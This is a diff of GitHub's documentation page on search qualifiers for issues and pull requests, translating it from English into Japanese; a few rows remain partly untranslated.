+あなたが属する Organization および Team について、 `team` 修飾子により、Organization 内の一定の Team に @メンションしている Issue またはプルリクエストを表示します。 検索を行うには、これらのサンプルの名前をあなたの Organization および Team の名前に置き換えてください。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned.
-| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned.
+| 修飾子                       | サンプル                                                                                 |
+| ------------------------- | ------------------------------------------------------------------------------------ |
+| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** は、`@jekyll/owners` Team がメンションされている Issue にマッチします。            |
+|                           | **team:myorg/ops is:open is:pr** は、`@myorg/ops` Team がメンションされているオープンなプルリクエストにマッチします。 |
 
-## Search by commenter
+## コメントした人で検索
 
-The `commenter` qualifier finds issues that contain a comment from a certain user.
+`commenter` 修飾子は、特定のユーザからのコメントを含む Issue を検索します。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt.
+| 修飾子                       | サンプル                                                                                                                                                                                                             |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) は、@defunkt のコメントがあり、「github」という単語がある、GitHub が所有するリポジトリの Issue にマッチします。 |
 
-## Search by a user that's involved in an issue or pull request
+## Issue やプルリクエストに関係したユーザで検索
 
-You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user.
+`involves` 修飾子は、特定のユーザが何らかの方法で関与する Issue を表示します。 `involves` 修飾子は、単一ユーザについて、`author`、`assignee`、`mentions`、および `commenter` を論理 OR でつなげます。 言い換えれば、この修飾子は、特定のユーザが作成した、当該ユーザにアサインされた、当該ユーザをメンションした、または、当該ユーザがコメントした、Issue およびプルリクエストを表示します。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in.
-| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body.
+| 修飾子                       | サンプル                                                                                                                                                                          |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** は、@defunkt または @jlord が関与している Issue にマッチします。               |
+|                           | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues)は、本文に「bootstrap」という単語を含まず、@mdo が関与している Issue にマッチします。 |
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Search for linked issues and pull requests
-You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close.
+## リンクされた Issue とプルリクエストを検索する
+結果を絞り込んで、クローズしているリファレンスによってプルリクエストにリンクされている、またはプルリクエストによってクローズされる可能性がある Issue にリンクされている Issue のみを表示することができます。
 
-| Qualifier | Example |
-| ------------- | ------------- |
-| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. |
-| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. |
-| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. |
-| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %}
+| 修飾子             | サンプル                                                                                                                                                                                                                                     |
+| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `linked:pr`     | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) は、`desktop/desktop` リポジトリの中で、クローズしているリファレンスによってプルリクエストにリンクされている Issue に一致します。                                   |
+| `linked:issue`  | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) は、 `desktop/desktop` リポジトリの中で、プルリクエストによってクローズされた可能性がある Issue にリンクされていた、クローズされたプルリクエストに一致します。          |
+| `-linked:pr`    | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) は、`desktop/desktop` リポジトリの中で、クローズしているリファレンスによってプルリクエストにリンクされていない Issue に一致します。                                 |
+| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) は、 `desktop/desktop` リポジトリの中で、プルリクエストによってクローズされる可能性がある Issue にリンクされていないオープンのプルリクエストに一致します。 
+{% endif %}
 
-## Search by label
+## ラベルで検索
 
-You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue.
+`label` 修飾子を使って、ラベルで検索結果を絞り込むことができます。 Issue は複数のラベルがある可能性があることから、各 Issue について異なる修飾子を記載できます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories.
-|  | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority."
-| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
-| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %}
+| 修飾子                        | サンプル                                                                                                                                                                                                          |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) は、Ruby のリポジトリにある「help wanted」のラベルがある Issue にマッチします。                 |
+|                            | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues)は、「bug」ラベルはないが「priority」ラベルがある、本文に「broken」という単語がある Issue にマッチします。**     |
+|                            | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
+|                            | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %}
 
-## Search by milestone
+## マイルストーンで検索
 
-The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository.
+`milestone` 修飾子は、リポジトリ内の[マイルストーン](/articles/about-milestones)の一部である Issue またはプルリクエストを表示します。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul."
-| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix."
+| 修飾子                        | サンプル                                                                                                                                                     |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues)は、「overhaul」という名前のマイルストーンにある Issue にマッチします。 |
+|                            | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues)は、「bug fix」という名前のマイルストーンにある Issue にマッチします。    |
 
-## Search by project board
+## プロジェクトボードで検索
 
-You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL.
+リポジトリまたは Organization にある特定の[プロジェクトボード](/articles/about-project-boards/)と関連する Issue を表示するには、`project` 修飾子を使います。 プロジェクトボードはプロジェクトボード番号で検索する必要があります。 プロジェクトボードの URL の末尾に、プロジェクトボード番号が表示されています。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57.
-| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository.
+| 修飾子                        | サンプル                                                                                           |
+| -------------------------- | ---------------------------------------------------------------------------------------------- |
+| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** は、Organization のプロジェクトボード 57 に関連付けられている、GitHub が所有する Issue にマッチします。      |
+| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** は、@github の Linguist リポジトリのプロジェクトボード 1 に関連付けられている Issue にマッチします。 |
 
-## Search by commit status
+## コミットステータスで検索
 
-You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service.
+コミットのステータスでプルリクエストをフィルタリングできます。 [ステータス API](/rest/reference/repos#statuses) または CI サービスを使っている場合、特に役立ちます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending.
-| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status.
-| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status.
+| 修飾子              | サンプル                                                                                                                                                                                                                     |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) は、ステータスが pending になっている Go リポジトリにオープンしたプルリクエストにマッチします。                                                       |
+| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) は、ステータスが successful になっている body に「finally」という単語があるオープンなプルリクエストにマッチします。 |
+| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) は、ステータスが failed になっている 2015 年 5 月にオープンしたプルリクエストにマッチします。    |
 
-## Search by commit SHA
+## コミット SHA で検索
 
-If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters.
+コミットの特定の SHA ハッシュを知っている場合、その SHA を含むプルリクエストを検索するために使えます。 SHA の構文は、7 字以上であることが必要です。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`.
-| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`.
+| 修飾子                        | サンプル                                                                                                                                             |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) は、`e1109ab` で始まるコミット SHA のプルリクエストにマッチします。                                         |
+|                            | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) は、`0eff326d6213c`で始まるコミット SHA のマージされたプルリクエストにマッチします。 |
 
-## Search by branch name
+## ブランチ名で検索
 
-You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch).
+元のブランチ (「head」ブランチ) またはマージされるブランチ (「base」ブランチ) でプルリクエストをフィルタリングできます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed.
-| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch.
+| 修飾子                        | サンプル                                                                                                                                                                               |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) は、クローズされた「change」という単語から始まる名前のブランチから開かれたプルリクエストに一致します。 |
+| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) は、`gh-pages` ブランチにマージされるプルリクエストにマッチします。                                                            |
 
-## Search by language
+## 言語で検索
 
-With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language.
+`language` 修飾子により、特定の言語で記述されたリポジトリ内の Issue およびプルリクエストを検索できます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories.
+| 修飾子                        | サンプル                                                                                                                                     |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) は、Ruby のリポジトリにあるオープン Issue にマッチします。 |
 
-## Search by number of comments
+## コメントの数で検索
 
-You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments.
+コメントの数で検索するには、[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)とともに `comments` 修飾子を使います。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000.
+| 修飾子                        | サンプル                                                                                                                                                      |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues)は、コメント数が 100 を超えるクローズした Issue にマッチします。 |
+|                            | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues)は、500 から 1,000 までの範囲のコメント数の Issue にマッチします。                          |
 
-## Search by number of interactions
+## インタラクションの数で検索
 
-You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request.
+`interactions` 修飾子と[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)を使って、Issue や プルリクエストをインタラクションの数でフィルタリングできます。 インタラクションの数とは、1 つの Issue またはプルリクエストにあるリアクションおよびコメントの数のことです。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000.
+| 修飾子                        | サンプル                                                                                                                                          |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) は、インタラクションの数が 2,000 を超えるプルリクエストまたは Issue にマッチします。  |
+|                            | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) は、インタラクションの数が 500 から 1,000 までの範囲のプルリクエストまたは Issue にマッチします。 |
 
-## Search by number of reactions
+## リアクションの数で検索
 
-You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+`reactions` 修飾子と[不等号や範囲の修飾子](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)を使って、Issue や プルリクエストをリアクションの数でフィルタリングできます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000.
+| 修飾子                        | サンプル                                                                                                                                   |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) は、リアクションの数が 1,000 を超える Issue にマッチします。 |
+|                            | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) は、リアクションの数が 500 から 1,000 までの範囲の Issue にマッチします。            |
 
-## Search for draft pull requests
-You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)."
+## ドラフトプルリクエストを検索
+ドラフトプルリクエストをフィルタリングすることができます。 詳しい情報については[プルリクエストについて](/articles/about-pull-requests#draft-pull-requests)を参照してください。
 
-| Qualifier        | Example
-| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %}
-| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests.
-| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %}
-| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %}
+| Qualifier        | Example | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) はドラフトプルリクエストに一致します。 | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) は、レビューの準備ができたプルリクエストに一致します。{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) はドラフトプルリクエストに一致します。{% endif %}
 
-## Search by pull request review status and reviewer
+## プルリクエストレビューのステータスおよびレビュー担当者で検索
 
-You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer.
+レビュー担当者およびレビューリクエストを受けた人で、[レビューステータス](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_、_required_、_approved_、または _changes requested_) でプルリクエストをフィルタリングできます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed.
-| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged.
-| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved.
-| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes.
-| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person.
-| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| 修飾子                        | サンプル                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `review:none`              | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) は、レビューされていないプルリクエストにマッチします。                                                                                                                                                                                                                                                                                         |
+| `review:required`          | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) は、マージ前にレビューが必要なプルリクエストにマッチします。                                                                                                                                                                                                                                                                              |
+| `review:approved`          | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) は、レビュー担当者が承認したプルリクエストにマッチします。                                                                                                                                                                                                                                                                               |
+| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) は、レビュー担当者が変更を求めたプルリクエストにマッチします。                                                                                                                                                                                                                                                           |
+| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) は、特定の人がレビューしたプルリクエストにマッチします。                                                                                                                                                                                                                                                                  |
+| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) は、特定の人にレビューがリクエストされているプルリクエストにマッチします。 リクエストを受けたレビュー担当者は、プルリクエストのレビュー後は検索結果に表示されなくなります。 If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 | <code>user-review-requested:@me</code> | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %}
-| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request.
+| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) は、Team `atom/design`からのレビューリクエストがあるプルリクエストにマッチします。 リクエストを受けたレビュー担当者は、プルリクエストのレビュー後は検索結果に表示されなくなります。                                                                                                                                                                                  |
 
-## Search by when an issue or pull request was created or last updated
+## Issue やプルリクエストの作成時期や最終更新時期で検索
 
-You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier.
+作成時期または最終更新時期で Issue をフィルタリングできます。 Issue の作成時期については、`created` の修飾子を使います。Issue の最終更新時期で表示するには、`updated` の修飾子を使います。
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+どちらの修飾子も、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013.
+| 修飾子                        | サンプル                                                                                                                                                                                                 |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) は、C# で記述されたリポジトリの 2011 年より前に作成されたオープンな Issue にマッチします。 |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) は、2013 年 2 月以降に更新された、本文に「weird」という単語を含む Issue にマッチします。                  |
 
-## Search by when an issue or pull request was closed
+## Issue やプルリクエストがクローズされた時期で検索
 
-You can filter issues and pull requests based on when they were closed, using the `closed` qualifier.
+`closed` 修飾子を使って、Issue およびプルリクエストを、クローズされているかどうかでフィルタリングできます。
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+この修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014.
-| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012.
+| 修飾子                        | サンプル                                                                                                                                                                                                        |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) は、2014 年 6 月 11 日より後にクローズした Swift の Issue およびプルリクエストにマッチします。                       |
+|                            | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) は、2012 年 10 月より前にクローズされた、body に「data」という単語がある Issue およびプルリクエストにマッチします。 |
 
-## Search by when a pull request was merged
+## プルリクエストがマージされた時期で検索
 
-You can filter pull requests based on when they were merged, using the `merged` qualifier.
+`merged` 修飾子を使って、マージされているかどうかでプルリクエストをフィルタリングできます。
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+この修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011.
-| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014.
+| 修飾子                        | サンプル                                                                                                                                                                                                                     |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>merged:<em>YYYY-MM-DD</em></code> | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) は、2011 年より前にマージされた JavaScript のリポジトリにあるプルリクエストにマッチします。                               |
